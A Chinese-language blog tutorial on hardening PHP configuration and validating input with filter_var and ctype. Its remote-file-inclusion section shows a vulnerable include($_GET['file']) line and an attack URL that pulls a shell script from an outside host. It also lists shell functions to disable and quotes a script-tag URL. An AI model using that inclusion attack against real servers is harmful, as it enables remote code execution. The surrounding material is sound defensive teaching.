聊聊php安全之输入验证和PHP配置

php配置

就软件而言,最好的安全措施是确保它始终保存最新的安全补丁并运行最新支持的稳定版本。
有时攻击者不仅会利用编码中的错误,还会利用不安全的php配置。

注意:
在更改任何服务器配置之前,首先需要确保你的脚本不依赖于你即将更改的功能,因为这可能会导致你的web应用程序中断。

php版本曝光

与安装的每个软件一样,始终不建议公开其版本。因为这是攻击者在侦查(收集信息)期间搜索的第一件事。然后它们会尝试查找特定于该版本的漏洞进行攻击。

默认情况下,php在X-Powered-By标题中显示其版本:

php-security

可以通过更改expose_php指令来禁用它:
在php.ini中更改expose_php为Off

1
expose_php = Off

注意:更改该设置后,需要重启web服务器或者重新加载配置。

你应该意识到,即使这样可以提供系统的整体安全性,但是它也不会阻止攻击者利用任何漏洞。

php名称曝光

php默认将X-PHP-Originating-Script头添加到通过mail()函数发送的电子邮件中。此标头的值包括邮件发送的php脚本的UID和文件名。

这可能会暴露攻击者可能攻击的文件名。通过更改mail.add_x_header指令可以禁用此标题:
在php.ini中更改mail.add_x_header为Off

1
Mail.add_x_header = Off

注意: 更改该设置后,需要重启web服务器或者重新加载配置。

错误报告

错误报告可以帮助软件开发人员调试问题并测试系统的功能,因为它在代码执行过程中发生错误时输出信息。
由于以下原因,最终用户不应该看到这些错误。
a) 显示丑陋的错误消息会降低用户体验。用户不明白运行时错误是什么意思,他们无法修复它,如果他们收到错误,最可能意味着他们的操作未被处理,从而使应用程序无法使用。这也表明开发商缺乏安全意识。

b)错误可能暴露有关底层服务器配置或应用程序代码的敏感信息
还应该注意的是,包含错误的页面可以被搜索引擎编入索引。黑客通常使用特定关键字来查找此类网页并对其进行攻击。

将应用程序移植到线上时,开发人员常常忘记关闭调试模式。在生成环境中,应始终关闭错误报告,开发人员应该始终确保代码捕获错误/异常,并且不会将操作结果直接暴露给用户。

通过更改display_errors指令可以禁用错误报告:
在php.ini中将display_errors更改为Off.

1
display_errors = Off

注意: 更改该设置后,需要重启web服务器或者重新加载配置。

Httponly

Httponly是一个标志,它可以防止客户端jsvascript访问cookie的值,并且它通常用作跨站点脚本(XSS)加固。例如,如果web应用程序容易受到XSS攻击,则执行的有效内容将无法窃取标记为Httponly的cookie。这对Session cookie特别有用。

php-security

Javascript可以访问Session cookie:

php-security

在php中创建任何cookie时可以设置此标志,也可以通过php配置(或者.htacess)为php Session cookie设置此标志。
在php.ini中将session.cookie_httponly更改为On

1
session.cookie_httponly = On

注意: 这个指令只在php session cookie中添加httponly标志,而不是所有的cookies
为使此更改生效,需要重新启动web服务器或者重新加载配置

标志为On javascript无法访问Session cookie:

php-security

Secure

Secure标志确保php Session cookie仅通过加密(https)连接发送。这可以保护(在某个级别) Session cookie免受MITM攻击。
如果你的web应用程序使用HTTPS运行,那么你应该考虑启用此选项。
在php.ini中session.cookie_secure改完On

1
session.cookie_secure = On

注意:此指令仅将安全标志添加到PHP SESSION cookie,而不是所有的cookie。
为使此更改生效,需要重新启动web服务器或者重新加载配置

Session固定

服务器创建Session来跟踪用户并保存关于他们的信息。Session修改是指用户通过向具有要创建的Session id的服务器发送请求来手动设置Session的能力。
这样可以用来欺骗另一个用户使用特定的Session id,然后被攻击者用来访问他们的数据/账号/信息。

这可以通过将指令session.use_strict_mode设置为On。来加固。
在php.ini中 session.use_strict_mode改为On.

1
session.use_strict_mode = 1

注意:要使此更改生效,需要重新启动Web服务器或重新加载配置。

执行远程文件

allow_url_include/allow_url_fopen
这些指令允许php包含来自远程服务器的文件并将它们视为本地文件。
如果include(),require()或者file_get_contents()功能是在一个不安全的脚本所使用,一个攻击者可以利用这一点,并包括从远处服务器的恶意代码。
在另一种情况下,如果攻击者可以将代码注入到文件中,而不是在目标服务器上传下载php后门程序,那么他们可以只写一行代码并远程包含shell。

假设攻击者允许访问启用了文件编辑的wordpress安装(默认启用)。通过注入以下代码并在服务器上启用这些指令(他们默认情况下处于启用状态),他们可以远程加载后门:

1
include($_GET['file']);

作为参数传递到shell脚本的链接 (shell.txt包含’uname -a’):

1
http://blog.hongzhao.com/examples/remote.php?file=http://192.168.2.100/shell.txt

这些指令可以通过编辑PHP.ini来禁用:
在php.ini中,将allow_url_fopen和allow_url_include更改为Off

1
2
allow_url_fopen = Off
allow_url_include = Off

目录遍历

正如我们所看到的,在目录遍历中,用户可以访问驻留在根目录之外的文件。限制PHP脚本访问根目录外的文件的一种方法是通过open_basedir在PHP.ini中设置指令。默认情况下,该指令为空,允许脚本浏览文件系统中任何位置的用户都可读的文件。
使用默认配置,并将未经验证的请求传递给include()函数:

php-security

我们可以通过改变open_basedir指令来’禁止’文件包含到根目录:
在php.ini中更改open_basedir

1
2
3
4
open_basedir = /var/www/html/

// Multiple directories can be specified with the ":" delimiter
open_basedir = /var/www/html/:/var/www/html2/:/var/www/html3/

注意:
根据你的设置设置目录。
为使此更改生效,需要重新启动Web服务器或重新加载配置。
现在只能通过PHP访问/var/www/html/中的文件

如果open_basedir已设置,则该upload_tmp_dir指令也必须设置为Web用户可写的目录。这意味着它必须驻留在根目录中。默认情况下,PHP使用/tmp/,在这种情况下不起作用。
在php.ini中更改upload_temp_dir

1
upload_tmp_dir = /var/www/html/tmp/

注 -要使此更改生效,需要重新启动Web服务器或重新加载配置。

警告 -首先在测试环境中测试此设置,这取决于你的Web应用程序配置,它可能会破坏功能。

shell命令

正如我们在本文的代码注入部分看到的那样,启用shell函数可能是非常危险的。通过禁用这些功能,我们确保上传到Web应用程序并使用这些功能的后门将无法工作。要首先禁用它们,请确保你没有使用它们的脚本,然后进行以下更改:

在php.ini中添加下面的disable_functions指令

1
2
disable_functions = 
pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,exec,shell_exec,passthru,system

注 -要使此更改生效,需要重新启动Web服务器或重新加载配置。

输入验证

验证是根据特定标准/规范检查数据的过程。在验证过程中,数据不会以任何方式改变。这意味着我们将看到的任何过滤器都不会从无效字符中“清除”数据。这是非常有用的,因为它将允许尽可能只处理有效数据。下面我们可以看到一些常用的PHP过滤器用于验证。

注 -应该指出的是,在某些情况下,这些过滤器可能不够用,可能需要额外的功能

filter_var()

验证(和过滤器)正在被传递到filter_var()函数中。该filter_var()功能最多可接受3个参数,格式如下:
filter_var(变量,filtername,’选项’)

1
2
3
variable = The variable to filter (for example $username)
filtername = The id or name of the filter to be used. (Optional)
options = Flags which can be used based on which filter is selected (Optional). Options must be enclosed in single quotes and linked with the pipe ”|” symbol if needed .

注 -如果没有通过filtername,那么将不会有过滤,这意味着验证将始终返回true。

FILTER_VALIDATE_EMAIL

此筛选器会检查给定值是否为基于RFC 822的有效电子邮件地址,但不支持注释,空白折叠和无点域名。
支持的标志:
FILTER_FLAG_EMAIL_UNICODE:允许将Unicode字符用作电子邮件地址主机部分的一部分。(自PHP 7.1.0起可用)
例:

1
2
3
4
5
6
7
$email_address = 'test_email_αddre$$@test.com';
if (filter_var($email_address, FILTER_VALIDATE_EMAIL)) {
echo "This is a VALID email address.\n";
} else {
echo "This is an INVALID email address.\n";
}
This will return false as the $email_address contains the Greek character “α”.

FILTER_VALIDATE_IP

该过滤器检查给定的值是否是有效的IPV4 / 6地址。
支持的标志:

  • FILTER_FLAG_IPV4:检查给定值是否是有效的IPV4地址
  • FILTER_FLAG_IPV6:检查给定的值是否是有效的IPV6地址
  • FILTER_FLAG_NO_PRIV_RANGE:检查是否一个给定的值在下面的私有IPv4属于范围:10.0.0.0/8,172.16.0.0/12和192.168.0.0/16或在IPV6的情况下,如果开头FD或FC。
  • FILTER_FLAG_NO_RES_RANGE:检查是否给定值是在下面的私有IPv4范围:0.0.0.0/8,169.254.0.0/16,127.0.0.0/8和240.0.0.0/4或者IPV6的情况下:: 1/128,: :/ 128,:: ffff:0:0/96和fe80 :: / 10。

例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
// Check if a given IP address is valid
$ip_address = "216.58.205.78";
if(filter_var($ip_address, FILTER_VALIDATE_IP)) {
echo("This is a valid IP address");
} else {
echo("This is an invalid IP address");
}
// returns true

// Check if a given IP address is valid IPV4 and not private
$ip_address = "192.168.0.1";
if(filter_var($ip_address, FILTER_VALIDATE_IP, FILTER_FLAG_IPV4 | FILTER_FLAG_NO_PRIV_RANGE)) {
echo("This is a valid IPV4 and not private address");
} else {
echo("This is an invalid or private IP address");
}
// returns false because the $ip_address is a valid private IPV4 address
If no flags defined, it will by default check for both IPV4 and IPV6 addresses validity.

FILTER_VALIDATE_URL

此筛选器将检查给定的值是否是基于RFC 2396的有效URL 。

支持的标志:

  • FILTER_FLAG_SCHEME_REQUIRED:检查URL是否具有指定的方案。(例如http,https,ftp等)
  • FILTER_FLAG_HOST_REQUIRED:检查URL是否包含指定的主机。(例如www.example.com)
  • FILTER_FLAG_PATH_REQUIRED:检查URL是否有指定的路径。(例如www.example.com/path/file.php)
  • FILTER_FLAG_QUERY_REQUIRED:检查URL是否包含指定的查询。(例如www.example.com/?id=1)
    例:
    1
    2
    3
    4
    5
    6
    $url = "https://www.google.com";
    if (filter_var($url, FILTER_VALIDATE_URL)) {
    echo("This is a valid URL");
    } else {
    echo("This is an invalid URL");
    }

警告
1.国际化域名将无法验证。(那些包含非ASCII字符的)
2.请注意。以下URL:https://www.example.com/index.php?i= <script> alert(5); </ script>完全有效
有关支持的过滤器的完整列表,请参阅此处的官方文档。

CTYPE()

ctype扩展提供了像filter_var()可用于验证某种类型数据的函数。有几件事情需要注意:

a)函数返回TRUE或FALSE
b)空格将导致字符串在某些函数中无法验证,因此需要在验证之前将其删除。
c)这些函数只接受一个字符串或一个整数。其他任何将返回FALSE。

功能 描述
ctype_alnum() 检查字母数字字符(az AZ 0-9)
ctype_alpha() 检查字母字符(az AZ)
ctype_cntrl() 检查控制字符(\ n \ r \ t)
ctype_digit() 检查数字字符(0-9)
ctype_graph() 检查字符串中的所有字符是否创建可见的输出
ctype_lower() 检查小写字符(az)
ctype_print() 检查可打印的字符,包括空格
ctype_punct() 检查字母数字或空格以外的可打印字符
ctype_space() 检查字符串中的空格
ctype_upper() 检查大写字符
ctype_xdigit() 检查十六进制字符

例:

1
2
3
4
5
6
7
8
9
10
$strings = array('pAssw0rd', 'p4a$$word');
foreach ($strings as $string) {
if (ctype_alnum($string)) {
echo "The string $string contains only alphanumeric characters.";
} else {
echo "The string $string does not contain only alphanumeric characters.";
}
}
The string pAssw0rd contains only alphanumeric characters.
The string p4a$$word does not contain only alphanumeric characters.

坚持原创技术分享,您的支持将鼓励我继续创作!